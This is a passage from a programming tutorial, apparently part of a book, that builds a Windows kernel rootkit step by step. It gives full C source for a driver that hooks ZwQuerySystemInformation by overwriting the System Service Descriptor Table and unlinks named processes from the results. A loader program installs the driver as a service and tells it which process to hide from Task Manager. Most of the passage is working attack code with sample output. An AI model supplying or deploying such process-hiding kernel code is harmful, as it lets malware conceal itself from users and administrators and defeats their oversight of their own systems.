p = (char
*)ZwQuerySystemInformation;
for(i=0;i <= 12;
i++)
DbgPrint("%x",*(p+i));
DbgPrint("\n\n");
p = (char
*)ZwQueryDirectoryFile;
for(i=0;i <= 12;
i++)
DbgPrint("%x",*(p+i));
return(STATUS_SUCCESS);
}
b8
97 0 0 0 8d 54 24 4 cd 2e c2 10
b8
7d 0 0 0 8d 54 24 4 cd 2e c2 2c
The
above program simply displays the first 13 bytes of the two functions. The
first five are a mov eax instruction. The values moved are called the service
numbers of the functions. Where these are used we will come to a little later.
The next four instructions move the address of a the entity that is stored 4
away from the stack into the edx register. This instruction is lea edx, DWORD
PTR SS:[ESP+4].
This
instructions remains the same for all functions. The opcode cd allows us to
call a interrupt, with the interrupt number following. In our case the
interrupt called is 0x2e. This interrupt is used to switch from ring 3 to ring
0. This is how any function under windows moves up the function call to a
device driver to handle. Code that
resides in a dll under windows does not real work, this applies to code
present in kernel32.dll also.
All
these functions finally call code present in ntdll.dll that start with Zw.
These functions also do not do much in ring 0, they in turn call code in ring 0
using interrupt 2e. Finally we return a value back using the ret instruction.
More on this much later.
P38
#include
<ntddk.h>
#include
<stdio.h>
typedef struct
{
unsigned int
*ServiceTableBase;
unsigned int
*ServiceCounterTableBase;
unsigned int
NumberOfServices;
unsigned char
*ParamTableBase;
} sdt;
__declspec(dllimport)
sdt KeServiceDescriptorTable;
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
DbgPrint("IRP_MJ_CREATE\n");
IoCompleteRequest(Irp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading");
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
DbgPrint("Vijay
2 KeServiceDescriptorTable=%x", KeServiceDescriptorTable);
return(STATUS_SUCCESS);
}
Vijay
2 KeServiceDescriptorTable=804742b8
Vijay
2 KeServiceDescriptorTable=0
We
have created a variable KeServiceDescriptorTable of structure type sdt that is
our structure. In DriverEntry when we print out its value, it is not zero as we
created it as a global variable. It has a value of 804742b8 because this
variable is exported by ntoskrnl.lib. If we remove the declspec keyword, we
will get a value of zero.
Thus
what applies to functions, applies to variables exported also. If ntoskrnl.exe
did not export the variable KeServiceDescriptorTable, we would have had a
problem in what value to set it to. The fortunate part is the data types of the
two variables can be what we like, thus ours is a structure that looks like
sdt. The sdt structure has been made a typedef so that we do not have to write
struct everywhere.
P39
H1.c
__declspec(dllexport)
int i = 23;
cl
–c h1.c
link
/dll h1.obj
We
create a dll h1.dll that has only one exported variable I whose value is set to
23.
P40
H2.c
__declspec(dllimport)
char i;
main()
{
printf("%d\n",i);
}
cl
h2.c h1.lib
23
In
the file h2.c we use the dllimport keyword to refer to the variable I whose
data type is char and not int. When we link with the h1.lib file we get no
error and the value of I is 23. This is how we can refer to variables exported
by other programs.
P41
r.c
#include
<ntddk.h>
#include
<stdio.h>
NTSYSAPI NTSTATUS
NTAPI ZwQuerySystemInformation(ULONG SystemInformationClass,PVOID
SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);
typedef struct
{
unsigned int
*ServiceTableBase;
unsigned int
*ServiceCounterTableBase;
unsigned int
NumberOfServices;
unsigned char
*ParamTableBase;
} sdt;
__declspec(dllimport)
sdt KeServiceDescriptorTable;
NTSTATUS
(NTAPI*OldZwQuerySystemInformation)(ULONG SystemInformationCLass,PVOID
SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);
NTSTATUS
NewZwQuerySystemInformation(ULONG SystemInformationClass,PVOID
SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength)
{
NTSTATUS rc;
rc =
OldZwQuerySystemInformation(SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength);
DbgPrint("rc=%d
Class=%d Length=%d
return=%x",rc,SystemInformationClass,SystemInformationLength,ReturnLength);
return rc;
}
long no;
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
DbgPrint("IRP_MJ_CREATE\n");
IoCompleteRequest(Irp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading");
_asm cli
KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned
int)OldZwQuerySystemInformation;
_asm sti
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
char *p;
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
DbgPrint("Vijay
2 KeServiceDescriptorTable=%x",KeServiceDescriptorTable);
p = (char *)
ZwQuerySystemInformation;
p = p + 1;
no = *(long *)p;
OldZwQuerySystemInformation=
KeServiceDescriptorTable. ServiceTableBase [no];
DbgPrint("OldZwQuerySystemInformation=%x
NewZwQuerySystemInformation=%x
NumberOfServices=%d",OldZwQuerySystemInformation,NewZwQuerySystemInformation,KeServiceDescriptorTable.NumberOfServices);
DbgPrint("Three
tables %x %x
%x",KeServiceDescriptorTable.ServiceTableBase,KeServiceDescriptorTable.
ServiceCounterTableBase,KeServiceDescriptorTable.ParamTableBase);
_asm cli
KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned
int)NewZwQuerySystemInformation;
_asm sti
return(STATUS_SUCCESS);
}
Vijay 2
KeServiceDescriptorTable=804742b8
OldZwQuerySystemInformation
=80493b5b NewZwQuerySystemInformation = eb749000 NumberOfServices=248
Three tables 804742b8
0 8047469c
rc=0 Class=2
Length=312 return=0
rc=0 Class=55
Length=4 return=0
rc=0 Class=0
Length=44 return=0
rc=0 Class=50 Length=4 return=0
This
program you will like. We are actually writing a spy program that hooks a
certain function. In this case it is the undocumented function
ZwQuerySystemInformation. Anytime someone calls this functions, our code will
get called. If you see the output, you will realize that the function gets
called lots of times and we will use this method to hide our processes from
windows.
In
the DriverEntry function we start as usual by setting p to the address of
function ZwQuerySystemInformation and extract the service number of the
function. The exported variable KeServiceDescriptorTable is actually a
structure that we take as an instance of sdt. This data type is made up of
three pointers and a number. The first pointer ServiceTableBase is actually the
start of an array of pointers to functions.
The
number stored after the first byte is actually an offset into this array which
gives us the address of the function to be called. In the case of
ZwQuerySystemInformation, GetProcAddress returns a value of 77f87d11. The offset
of 151 from this array has a value 80493b5b. This is where the code for the
function actually resides. We store this value in a variable
OldZwQuerySystemInformation.
This
variable is defined as pointer to a stdcall function that takes three
parameters. We print out the members of the structure KeServiceDescriptorTable
so that we realize that the second pointer ServiceCounterTableBase is 0. The
number of services or address of functions in the table is 248. We have created
a function NewZwQuerySystemInformation in our driver and as we are in kernel
space it has a value pf eb749000.
Now
each time someone calls the function ZwQuerySystemInformation we would like our
code to be called. Thus we set the 151st member of the array to the
address of our function NewZwQuerySystemInformation. The only problem is that
interrupts keep occurring all the time. When we are overwriting an entry in
service table array, we will overwrite a byte at a time.
If
two of the four bytes have been changed, an interrupt occurs and then someone
calls the ZwQuerySystemInformation function, the wrong one will be called and
havoc will result. Thus the best way to solve this problem is to stop all
interrupts using the assembler instruction cli and after we have changed the
value we use the sti instruction.
If
you do not maybe nothing happens, but we have seen the blue screen of death too
many times.
In
the function NewZwQuerySystemInformation we simply call the original function
whose address we have in the variable OldZwQuerySystemInformation. We then
display the Class. Length and return length variables.
This
function gets called with four parameters which we will soon explain. Whatever
value was returned to us we return it back. This function gets called very
often as the output shows us. Thus all that we have done in the above example
is simple. We found the address of the actual function that gets called, stored
it in the variable OldZwQuerySystemInformation and placed the address of our
function NewZwQuerySystemInformation in the array of functions.
Each
time somebody called the function ZwQuerySystemInformation our function gets
called and now we call the original. We will use this to control the output
that other programs who call the function ZwQuerySystemInformation receive. In
driver load we have to set the 151st array member back to the value
we saved in the variable OldZwQuerySystemInformation and we debar interrupts
while this is happening.
P42
r.c
#include
<ntddk.h>
#include
<stdio.h>
NTSYSAPI NTSTATUS NTAPI
ZwQuerySystemInformation(ULONG SystemInformationClass,PVOID
SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);
typedef struct
{
unsigned int
*ServiceTableBase;
unsigned int
*ServiceCounterTableBase;
unsigned int
NumberOfServices;
unsigned char
*ParamTableBase;
} sdt;
__declspec(dllimport)
sdt KeServiceDescriptorTable;
typedef NTSTATUS
(*qtype)(ULONG SystemInformationCLass,PVOID SystemInformation,ULONG
SystemInformationLength,PULONG ReturnLength);
qtype
OldZwQuerySystemInformation;
NTSTATUS
NewZwQuerySystemInformation(ULONG SystemInformationClass,PVOID
SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength)
{
NTSTATUS rc;
rc =
OldZwQuerySystemInformation
(SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength);
DbgPrint("rc=%d
Class=%d Length=%d
return=%x",rc,SystemInformationClass,SystemInformationLength,ReturnLength);
return rc;
}
long no;
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
DbgPrint("IRP_MJ_CREATE\n");
IoCompleteRequest(Irp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading");
_asm cli
KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned
int)OldZwQuerySystemInformation;
_asm sti
}
NTSTATUS DriverEntry(PDRIVER_OBJECT
driverObject, PUNICODE_STRING RegistryPath)
{
char *p;
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
DbgPrint("Vijay
2 KeServiceDescriptorTable=%x",KeServiceDescriptorTable);
p = (char
*)ZwQuerySystemInformation;
p = p + 1;
no = *(long *)p;
OldZwQuerySystemInformation=(qtype)KeServiceDescriptorTable.ServiceTableBase[no];
_asm cli
KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned
int)NewZwQuerySystemInformation;
_asm sti
return(STATUS_SUCCESS);
}
This
program is more for the purists who hate see the compiler spew out warnings.
The world of C we like because it does not complain too much whenever we have a
pointer mismatch. Pointers on both sides of the equal to sign have to be of the
same data type. We start with creating a typedef qtype which is a pointer to a
_stdcall function that takes up 4 parameters.
This
is the same number that ZwQuerySystemInformation takes. We then create a
pointer OldZwQuerySystemInformation that is now in instance of qtype and not a
pointer to a function etc as specified before. Where this helps is when we are
initializing the variable OldZwQuerySystemInformation we simply use the word
qtype as a cast. We believe the above program serves no useful purpose, but we
can also write code that the compiler passes.
P43
r.c
#include
<ntddk.h>
#include
<stdio.h>
NTSYSAPI NTSTATUS
NTAPI ZwQuerySystemInformation(ULONG SystemInformationClass,PVOID SystemInformation,ULONG
SystemInformationLength,PULONG ReturnLength);
typedef struct
{
unsigned int
*ServiceTableBase;
unsigned int
*ServiceCounterTableBase;
unsigned int
NumberOfServices;
unsigned char
*ParamTableBase;
} sdt;
__declspec(dllimport)
sdt KeServiceDescriptorTable;
typedef NTSTATUS
(*qtype)(ULONG SystemInformationCLass,PVOID SystemInformation,ULONG
SystemInformationLength,PULONG ReturnLength);
qtype
OldZwQuerySystemInformation;
struct
_SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct
_SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
struct
_SYSTEM_THREADS Threads[1];
};
NTSTATUS
NewZwQuerySystemInformation(ULONG SystemInformationClass,PVOID SystemInformation,ULONG
SystemInformationLength,PULONG ReturnLength)
{
NTSTATUS rc;
rc =
OldZwQuerySystemInformation(SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength);
if(rc == 0 &&
5 == SystemInformationClass)
{
struct
_SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
while(curr->
NextEntryDelta != 0)
{
int i;
struct
_SYSTEM_THREADS *t;
DbgPrint("%S
curr=%x Delta=%d pid=%d Inherited=%d
Threads=%d",curr->ProcessName.Buffer,curr,curr->NextEntryDelta,curr->ProcessId,curr->InheritedFromProcessId,curr->ThreadCount);
DbgPrint("Virtual
Size=%d Page Faults=%d Reads=%d
handles=%d",curr->VmCounters.VirtualSize,curr->VmCounters.PageFaultCount,curr->IoCounters.ReadOperationCount,curr->HandleCount);
t = (struct
_SYSTEM_THREADS *)&curr->Threads;
for(i = 0 ; i <
curr->ThreadCount ; i++)
{
DbgPrint("Thread
no=%d t=%x Process=%d ThreadID=%d Priority=%d %d
ContextSwitchCount=%d",i,t,t->ClientIs.UniqueProcess,t->ClientIs.UniqueThread,t->Priority,t->BasePriority,t->ContextSwitchCount);
t++;
}
curr = (struct
_SYSTEM_PROCESSES *)((char *)curr + curr->NextEntryDelta);
}
}
return rc;
}
long no;
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
DbgPrint("IRP_MJ_CREATE\n");
IoCompleteRequest(Irp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading");
_asm cli
KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned
int)OldZwQuerySystemInformation;
_asm sti
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
char *p;
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
DbgPrint("Vijay
2 KeServiceDescriptorTable=%x",KeServiceDescriptorTable);
p = (char *)ZwQuerySystemInformation;
p = p + 1;
no = *(long *)p;
OldZwQuerySystemInformation=(qtype)KeServiceDescriptorTable.ServiceTableBase[no];
_asm cli
KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned
int)NewZwQuerySystemInformation;
_asm sti
return(STATUS_SUCCESS);
}
notepad.exe
curr=785e30 Delta=400 pid=1404 Inherited=300 Threads=3
Virtual
Size=25141248 Page Faults=1693 Reads=78 handles=0
Thread
no=0 t=785ee8 Process=1404 ThreadID=1160 Priority=10 8 ContextSwitchCount=8566
Thread
no=1 t=785f28 Process=1404 ThreadID=736 Priority=8 8 ContextSwitchCount=2
Thread
no=2 t=785f68 Process=1404 ThreadID=1200 Priority=8 8 ContextSwitchCount=229
Lets start by telling you some basics.
The windows task manager displays all the programs running on our system. This
is program written by some smart programmer at Microsoft. There are documented
functions that return all the programs running on the machine. Its either that
these functions finally end up calling the function ZwQuerySystemInformation or
this guy used ZwQuerySystemInformation.
Mind
you Microsoft does not document this function at all. Thus each time
ZwQuerySystemInformation gets called the first parameter tells us what
information the caller wanted. If the value is 5, we want a list of all
processes and threads running. Thus we first call the original
ZwQuerySystemInformation and then check if the return value is 0. If not zero,
there is another reason why this function has been called which we will explain
later.
The
Second parameter is a pointer to a structure and the third and fourth length
values that we will not use. In our case the second parameter is a pointer to a
structure that looks like _SYSTEM_PROCESSES. This structure is not documented
by us but we found it at lots of places on the net. Wonder why Microsoft yet calls it undocumented. The
first parameter NextEntryDelta points to a similar such structure and if its
value is 0, it means that this is the last process.
Thus
we have a while loop that keeps going on until this first member is non zero.
We display some half a dozen of its members and check with task manager whether
we both get the same answers. Some members like VmCounters are actual
structures whose data type is there in the header files. We compile with the /P
option and then search the .i file created for the structure tags.
The
last parameter is a series of structures for the number of threads this process
has created. Thus if we have 10 threads, we have 10 thread structures running
back to back. So we have set a variable t to the start of the first structure
and then increase it by 1 each time to point to the next thread structure.
This
is how we print out the structure members. The point is that the first structure
does not contain a actual pointer to the second process structure but an offset
in bytes. This is why at the end we have to cast the variable curr to a char *.
P44
r.c
#include
<ntddk.h>
#include
<stdio.h>
NTSYSAPI NTSTATUS
NTAPI ZwQuerySystemInformation(ULONG SystemInformationClass,PVOID
SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);
typedef struct
{
unsigned int
*ServiceTableBase;
unsigned int
*ServiceCounterTableBase;
unsigned int
NumberOfServices;
unsigned char *ParamTableBase;
} sdt;
__declspec(dllimport)
sdt KeServiceDescriptorTable;
typedef NTSTATUS
(*qtype)(ULONG SystemInformationCLass,PVOID SystemInformation,ULONG
SystemInformationLength,PULONG ReturnLength);
qtype
OldZwQuerySystemInformation;
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
};
NTSTATUS NewZwQuerySystemInformation(ULONG
SystemInformationClass,PVOID SystemInformation,ULONG
SystemInformationLength,PULONG ReturnLength)
{
NTSTATUS rc;
rc =
OldZwQuerySystemInformation(SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength);
if(rc == 0 &&
5 == SystemInformationClass)
{
struct
_SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct
_SYSTEM_PROCESSES *prev = NULL;
while(1)
{
ANSI_STRING
process_name;
RtlUnicodeStringToAnsiString
(&process_name,&curr->ProcessName,TRUE);
DbgPrint("%s
curr=%x prev=%x
Delta=%d",process_name.Buffer,curr,prev,curr->NextEntryDelta);
if(strnicmp(process_name.Buffer,"calc",4)
== 0)
{
if(curr->NextEntryDelta
!= 0 && prev != 0) //first guy has no name
{
DbgPrint("Between
%s curr->NextEntryDelta=%x
prev=%x",process_name.Buffer,curr->NextEntryDelta,prev);
prev->NextEntryDelta
+= curr->NextEntryDelta;
}
else
{
DbgPrint("Last");
prev->NextEntryDelta
= 0;
}
}
prev = curr;
if (
curr->NextEntryDelta)
((char *)curr +=
curr->NextEntryDelta);
else
break;
}
}
return rc;
}
long no;
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
DbgPrint("IRP_MJ_CREATE\n");
IoCompleteRequest(Irp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID DriverUnload(PDRIVER_OBJECT
DriverObject)
{
DbgPrint("Unloading");
_asm cli
KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned
int)OldZwQuerySystemInformation;
_asm sti
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
char *p;
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
DbgPrint("Vijay
2 KeServiceDescriptorTable=%x",KeServiceDescriptorTable);
p = (char
*)ZwQuerySystemInformation;
p = p + 1;
no = *(long *)p;
OldZwQuerySystemInformation=(qtype)KeServiceDescriptorTable.ServiceTableBase[no];
_asm cli
KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned
int)NewZwQuerySystemInformation;
_asm sti
return(STATUS_SUCCESS);
}
calc.exe
curr=7863e0 prev=786250 Delta=0
Last
The next program actually hides any
program that begins with the word calc. We use it to hide the windows
calculator calc.exe. We simply add a if statement to the while loop. For the
ones who have come in late, we are passed a link list of structures. The first
member is not the address of the next structure but a delta or an offset to
where the next structure starts. Thus each structure links to the next
structure by a number.
We
have the name of the program running in a unicode string. We use the function
RtlUnicodeStringToAnsiString to convert a unicode string to a ansi string. The
only difference is that a ansi string is a char * whereas the unicode string is
unsigned short *. The other two members remain the same.
The
strnicmp checks for a specified length n and ignores case i. If the if
statement is true, we have found the program name we are looking for. Now all
that we need to do is remove this structure from the linked list. The variable
curr points to the current process structure. All that we do is have a pointer
prev which points to the previous such structure.
This
previous structure points to the current structure. We simply add the offset
stored in the member NextEntryDelta to the NextEntryDelta of the prev member.
If the delta of the prev structure was 100, it means that 100 bytes away is the
next structure. If the delta of the curr structure is 300, it means that 300
bytes away is the 3rd structure.
If
we add 100+300 = 400 and place this value in prev, we bypass the curr or 2nd
structure and point directly to the third. The only problem is that if the curr
is the last structure in the list there is no next structure. In that case the
else gets called and we have to set
prev as the last structure by setting its delta to 0.
The
other problem is that if curr points to the first process, there is no prev
process and the above logic fails. The solution is the first process has no
name as it is the System Idle Process. This is not a process anyone can hide
and hence we have not build it into our logic. Also start task Manager, run
calc and then run y –i. This hides calc and when we run y –u it brings it back
again. Magic.
The
reason why all this happens is that programs like the Task Manager do not access
Direct Kernel memory like we did earlier. They use functions like
ZwQuerySystemInformation to tell them what programs are running on the system.
There is no way on earth they can ever verify that the output of the
ZwQuerySystemInformation has been altered by a device driver. This is another
way we can hide a process from windows.
P45
y.c
#include
<stdio.h>
#include
<windows.h>
#include
<malloc.h>
#include
<tlhelp32.h>
#include
<stdio.h>
#define DRV_NAME
"vijayd"
#define DRV_FILENAME
"vijay.sys"
#define DIRECTORY
"C:\\driverm"
typedef struct
{
unsigned short Length;
unsigned short MaximumLength;
char * Buffer;
} ANSI_STRING,
*PANSI_STRING;
typedef struct
{
unsigned short Length;
unsigned short MaximumLength;
unsigned short *Buffer;
} UNICODE_STRING,
*PUNICODE_STRING;
long (_stdcall *
_RtlAnsiStringToUnicodeString)(PUNICODE_STRING
DestinationString,PANSI_STRING
SourceString,unsigned char);
VOID (_stdcall
*_RtlInitAnsiString)(PANSI_STRING
DestinationString,char *
SourceString);
long (_stdcall *
_ZwLoadDriver)(PUNICODE_STRING DriverServiceName);
long (_stdcall *
_ZwUnloadDriver)(PUNICODE_STRING DriverServiceName);
ANSI_STRING aStr;
UNICODE_STRING uStr;
HMODULE hntdll;
unsigned long
byteRet;
HANDLE hDevice;
HKEY hkey;
DWORD val,b;
char *imgName =
"System32\\DRIVERS\\"DRV_FILENAME;
void main(int argc,
char* argv[])
{
hntdll =
GetModuleHandle("ntdll.dll");
_ZwLoadDriver =
GetProcAddress(hntdll, "NtLoadDriver");
_ZwUnloadDriver =
GetProcAddress(hntdll, "NtUnloadDriver");
_RtlAnsiStringToUnicodeString
= GetProcAddress(hntdll, "RtlAnsiStringToUnicodeString");
_RtlInitAnsiString =
GetProcAddress(hntdll, "RtlInitAnsiString");
if (
strcmp(argv[1],"-i") == 0)
{
CopyFile(DIRECTORY"\\"DRV_FILENAME,"C:\\winnt\\system32\\drivers\\"DRV_FILENAME,1);
RegCreateKey(HKEY_LOCAL_MACHINE,"System\\CurrentControlSet\\Services\\"DRV_NAME,&hkey);
val = 1;
RegSetValueEx(hkey,
"Type", 0, REG_DWORD, (PBYTE)&val, sizeof(val));
RegSetValueEx(hkey,
"ErrorControl", 0, REG_DWORD, (PBYTE)&val, sizeof(val));
val = 3;
RegSetValueEx(hkey,
"Start", 0, REG_DWORD, (PBYTE)&val, sizeof(val));
RegSetValueEx(hkey,"ImagePath",0,REG_EXPAND_SZ,(PBYTE)imgName,strlen(imgName));
_RtlInitAnsiString(&aStr,"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"DRV_NAME);
_RtlAnsiStringToUnicodeString(&uStr,
&aStr, TRUE);
_ZwLoadDriver(&uStr);
hDevice =
CreateFile("\\\\.\\"DRV_NAME, GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,
NULL);
DeviceIoControl(hDevice,
2 << 3 , argv[2], strlen(argv[2]), 0, 0, &b, 0);
}
if (
strcmp(argv[1],"-u") == 0)
{
_RtlInitAnsiString(&aStr,"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"DRV_NAME);
_RtlAnsiStringToUnicodeString(&uStr,
&aStr, TRUE);
_ZwUnloadDriver(&uStr);
DeleteFile("C:\\winnt\\system32\\drivers\\"DRV_FILENAME);
RegDeleteKey(HKEY_LOCAL_MACHINE,
"System\\CurrentControlSet\\Services\\"DRV_NAME"\\Enum");
RegDeleteKey(HKEY_LOCAL_MACHINE,
"System\\CurrentControlSet\\Services\\"DRV_NAME);
}
}
p46
r.c
#include
<ntddk.h>
#include
<stdio.h>
UNICODE_STRING
gDeviceName,gSymbolicLinkName;
PDEVICE_OBJECT
gpDeviceObject;
#define DRV_NAME
L"vijayd"
NTSYSAPI NTSTATUS
NTAPI ZwQuerySystemInformation(ULONG SystemInformationClass,PVOID
SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);
char pname[100];
int
inputBufferLength;
typedef struct
{
unsigned int
*ServiceTableBase;
unsigned int
*ServiceCounterTableBase;
unsigned int
NumberOfServices;
unsigned char
*ParamTableBase;
} sdt;
__declspec(dllimport)
sdt KeServiceDescriptorTable;
typedef NTSTATUS
(*qtype)(ULONG SystemInformationCLass,PVOID SystemInformation,ULONG
SystemInformationLength,PULONG ReturnLength);
qtype
OldZwQuerySystemInformation;
struct
_SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
};
NTSTATUS
NewZwQuerySystemInformation(ULONG SystemInformationClass,PVOID
SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength)
{
NTSTATUS rc;
rc =
OldZwQuerySystemInformation(SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength);
if(rc == 0 &&
5 == SystemInformationClass)
{
struct
_SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct
_SYSTEM_PROCESSES *prev = NULL;
while(1)
{
ANSI_STRING
process_name;
RtlUnicodeStringToAnsiString(&process_name,&curr->ProcessName,TRUE);
DbgPrint("%s
curr=%x prev=%x
Delta=%d",process_name.Buffer,curr,prev,curr->NextEntryDelta);
if(strnicmp(process_name.Buffer,pname,inputBufferLength)
== 0)
{
if(curr->NextEntryDelta
!= 0 && prev != 0) //first guy has no name
{
DbgPrint("Between
%s curr->NextEntryDelta=%x
prev=%x",process_name.Buffer,curr->NextEntryDelta,prev);
prev->NextEntryDelta
+= curr->NextEntryDelta;
}
else
{
DbgPrint("Last");
prev->NextEntryDelta
= 0;
}
}
prev = curr;
if (
curr->NextEntryDelta)
((char *)curr +=
curr->NextEntryDelta);
else
break;
}
}
return rc;
}
long no;
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
PIO_STACK_LOCATION
esp;
esp =
IoGetCurrentIrpStackLocation(pIrp);
if
(esp->MajorFunction == IRP_MJ_CREATE)
DbgPrint("IRP_MJ_CREATE\n");
if
(esp->MajorFunction == IRP_MJ_DEVICE_CONTROL)
{
char *inputBuffer;
PIO_STACK_LOCATION irpStack;
irpStack =
IoGetCurrentIrpStackLocation (pIrp);
inputBuffer =
pIrp->AssociatedIrp.SystemBuffer;
inputBufferLength =
irpStack->Parameters.DeviceIoControl.InputBufferLength;
strncpy(pname,inputBuffer,inputBufferLength);
//DbgPrint("inputBuffer=%s
inputBufferLength=%d",inputBuffer,inputBufferLength);
}
IoCompleteRequest(pIrp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading");
_asm cli
KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned
int)OldZwQuerySystemInformation;
_asm sti
IoDeleteSymbolicLink(&gSymbolicLinkName);
IoDeleteDevice(gpDeviceObject);
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
char *p;
RtlInitUnicodeString(&gDeviceName,L"\\Device\\"DRV_NAME);
RtlInitUnicodeString(&gSymbolicLinkName,L"\\DosDevices\\"DRV_NAME);
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]
= DriverDispatcher;
driverObject->DriverUnload
= DriverUnload;
IoCreateDevice(driverObject,0,&gDeviceName,FILE_DEVICE_UNKNOWN,0,0,&gpDeviceObject);
IoCreateSymbolicLink(&gSymbolicLinkName,
&gDeviceName);
DbgPrint("Vijay
3 KeServiceDescriptorTable=%x",KeServiceDescriptorTable);
p = (char
*)ZwQuerySystemInformation;
p = p + 1;
no = *(long *)p;
OldZwQuerySystemInformation=(qtype)KeServiceDescriptorTable.ServiceTableBase[no];
_asm cli
KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned
int)NewZwQuerySystemInformation;
_asm sti
return(STATUS_SUCCESS);
}
There
is not much we have to explain in the above programs. In y,c we pass the second
argv passed on the command line to the driver. Thus we run the programs as y –I
calc. In the driver we use the input buffer and input buffer length to give us
the name and length of data passed. We use these values in the strnicmp instead
of the hard code names used earlier. This only gives our program more
flexibility.
P47
x.c
#include
<windows.h>
typedef long
(_stdcall *qtype)(long SystemInformationCLass,void *SystemInformation,long
SystemInformationLength,long * ReturnLength);
qtype
pZwQuerySystemInformation;
struct UNICODE_STRING
{
short Length,
MaxLength;
unsigned short
*Buffer;
};
struct sss
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
struct
UNICODE_STRING ProcessName;
long BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
};
main()
{
HANDLE h;
struct sss *curr;
